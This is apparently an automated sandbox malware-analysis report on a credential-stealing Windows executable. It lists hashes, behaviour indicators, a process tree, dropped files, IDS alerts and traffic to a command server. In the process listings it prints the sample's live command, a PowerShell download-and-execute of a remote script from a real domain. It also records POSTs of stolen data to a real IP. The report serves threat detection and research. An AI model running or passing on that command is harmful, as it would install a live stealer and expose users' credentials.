File name:

helper(1).exe

Full analysis: https://app.any.run/tasks/3ec1b581-0b12-48f4-82c0-e0fcb9537540
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

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Analysis date: December 19, 2023, 22:07:37
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

09350493580399E2983148E80FD4490B

SHA1:

B3EED5E54E7DDBFA71C188C6D20313E1257880E6

SHA256:

57561423590DD2334269CD4CDF22FFC267F202FF0E954CB49B73A292B4492172

SSDEEP:

3072:PUVnLz3d/H7r37mTcJBc3w+yFgvq8O60r4WJdZowDzc7W:MV33t7rLmTcJuqFr4WbZo6

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  • MALICIOUS

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 1688)

    • Steals credentials

      • powershell.exe (PID: 1688)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 1688)

  • SUSPICIOUS

    • The process executes Powershell scripts

      • cmd.exe (PID: 2852)

    • Starts CMD.EXE for commands execution

      • helper(1).exe (PID: 2712)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 2852)

    • Reads the Internet Settings

      • powershell.exe (PID: 1688)
      • helper(1).exe (PID: 2712)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 1688)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 2852)

    • Reads browser cookies

      • powershell.exe (PID: 1688)

    • Connects to the server without a host name

      • powershell.exe (PID: 1688)
      • helper(1).exe (PID: 2712)

    • Unusual connection from system programs

      • powershell.exe (PID: 1688)

    • The process executes via Task Scheduler

      • wscript.exe (PID: 1656)
      • wscript.exe (PID: 2076)

  • INFO

    • Reads the machine GUID from the registry

      • helper(1).exe (PID: 2712)

    • Checks supported languages

      • helper(1).exe (PID: 2712)

    • Create files in a temporary directory

      • helper(1).exe (PID: 2712)

    • Checks proxy server information

      • helper(1).exe (PID: 2712)

    • Reads the computer name

      • helper(1).exe (PID: 2712)
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No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (76.4)
.exe | Win32 Executable (generic) (12.4)
.exe | Generic Win/DOS Executable (5.5)
.exe | DOS Executable Generic (5.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2023:11:20 18:49:53+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.33
CodeSize: 58880
InitializedDataSize: 146944
UninitializedDataSize: -
EntryPoint: 0x3c69
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 4.4.2.2
ProductVersionNumber: 4.4.2.2
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Greening
FileDescription: Greener
FileVersion: 4.4.2.2
InternalName: green.exe
LegalCopyright: Copyright (C) 2021
OriginalFileName: green.exe
ProductName: Greener
ProductVersion: 4.4.2.2
No data.
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Total processes
38
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

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start helper(1).exe cmd.exe no specs powershell.exe wscript.exe no specs wscript.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1656C:\Windows\System32\wscript.exe "C:\ProgramData\agent.js"C:\Windows\System32\wscript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
1
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1688powershell -command IEX(IWR -UseBasicParsing 'https://podologie-werne.de/js/sd2.ps1')C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2076C:\Windows\System32\wscript.exe "C:\ProgramData\agent.js"C:\Windows\System32\wscript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
1
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2712"C:\Users\admin\AppData\Local\Temp\helper(1).exe" C:\Users\admin\AppData\Local\Temp\helper(1).exe
explorer.exe
User:
admin
Company:
Greening
Integrity Level:
MEDIUM
Description:
Greener
Exit code:
0
Version:
4.4.2.2
Modules
Images
c:\users\admin\appdata\local\temp\helper(1).exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2852"C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://podologie-werne.de/js/sd2.ps1')"C:\Windows\SysWOW64\cmd.exe—helper(1).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
Total events
2 146
Read events
2 117
Write events
17
Delete events
12

Modification events

(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
46000000C5000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2712) helper(1).exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1688) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\15A\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1688) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\RestartManager\Session0000
Operation:delete valueName:RegFilesHash
Value:
9B824D75F9AD166A953E65D813DF0D15378F7D1DC643C5CB8D979B5720DCAC3E
Executable files
0
Suspicious files
18
Text files
7
Unknown types
4

Dropped files

PID
Process
Filename
Type
1688powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
1688powershell.exeC:\Users\admin\AppData\Local\Temp\Cab8D5D.tmpcompressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
1688powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:4FD316912A86D336947523E0070E9BC2
SHA256:B068DC60A3ECFBFE51E0063C36FA7CB5F225AAC40375A4D57C185B8AE6289179
1688powershell.exeC:\Users\admin\AppData\Roaming\0941baf9-5310-4ed1-8d61-74fae8b528f5text
MD5:2E7DE1472E408EDCE142CB8CB549EECD
SHA256:AF89FAB4CC08BC539F2ED6EE65C4135E76D3ED35DBD45D56AF4B9E1DAEAF1E6A
1688powershell.exeC:\Users\admin\AppData\Roaming\cfadfdc5-77c6-4025-a539-a1887982797atext
MD5:83DFA02A36C9307E698CB66E868BF1B6
SHA256:—
1688powershell.exeC:\Users\admin\AppData\Roaming\780448ba-8477-40a7-ae2f-9682eb77a85bsqlite
MD5:30B1D9BDC631E4A8AD0BD550596AB708
SHA256:5982259D0C2E1D1FABAE8876C9F722B4BEED54E1636F973D661E0BC474476B5C
1688powershell.exeC:\Users\admin\AppData\Roaming\b8f940b2-30b5-4bf3-82fb-08b6fdc4ef1cbinary
MD5:22BC20B2414AA8210F77C29952E7BA93
SHA256:85311BAC9D1778B31CA62D7425E9089070A3235D7DA184F8480C0309FB61E876
1688powershell.exeC:\Users\admin\AppData\Roaming\b2e836cd-64ca-4f49-81df-93683697ce32binary
MD5:DC44CA4E3C1CC21AF9058965B79DD892
SHA256:2C4B0434A313BCD6EB7C8DB6F72683CBE14C2B1B0D883E111CED9512FB17C632
1688powershell.exeC:\Users\admin\AppData\Roaming\d014977c-cfa8-48e7-914c-5814317fbe15sqlite
MD5:55155EE4C05C262ABFD111F9A686913C
SHA256:65075499075E340D6B9CD4D826992A192572466CEE7462F8DFFC082B338FB704
1688powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
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HTTP(S) requests
28
TCP/UDP connections
9
DNS requests
2
Threats
50

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
1688
powershell.exe
GET
200
184.24.77.186:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?a18737489bcf320d
DE
compressed
65.2 Kb
unknown
1688
powershell.exe
GET
200
45.90.58.1:80
http://45.90.58.1/index.php?id=&subid=c4gQX595
CH
text
58 b
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
1688
powershell.exe
POST
200
45.90.58.1:80
http://45.90.58.1/index.php
CH
binary
1 b
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
2712
helper(1).exe
POST
200
45.90.58.1:80
http://45.90.58.1/config.php
CH
—
—
unknown
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1220
svchost.exe
239.255.255.250:3702
—
—
—
whitelisted
352
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2712
helper(1).exe
45.90.58.1:80
—
Green Floid LLC
CH
unknown
1688
powershell.exe
195.30.85.199:443
podologie-werne.de
SpaceNet AG
DE
unknown
1688
powershell.exe
184.24.77.186:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
unknown
1688
powershell.exe
45.90.58.1:80
—
Green Floid LLC
CH
unknown

DNS requests

Domain
IP
Reputation
podologie-werne.de
  • 195.30.85.199
unknown
ctldl.windowsupdate.com
  • 184.24.77.186
  • 184.24.77.193
  • 184.24.77.194
whitelisted

Threats

PID
Process
Class
Message
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
2712
helper(1).exe
Potentially Bad Traffic
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
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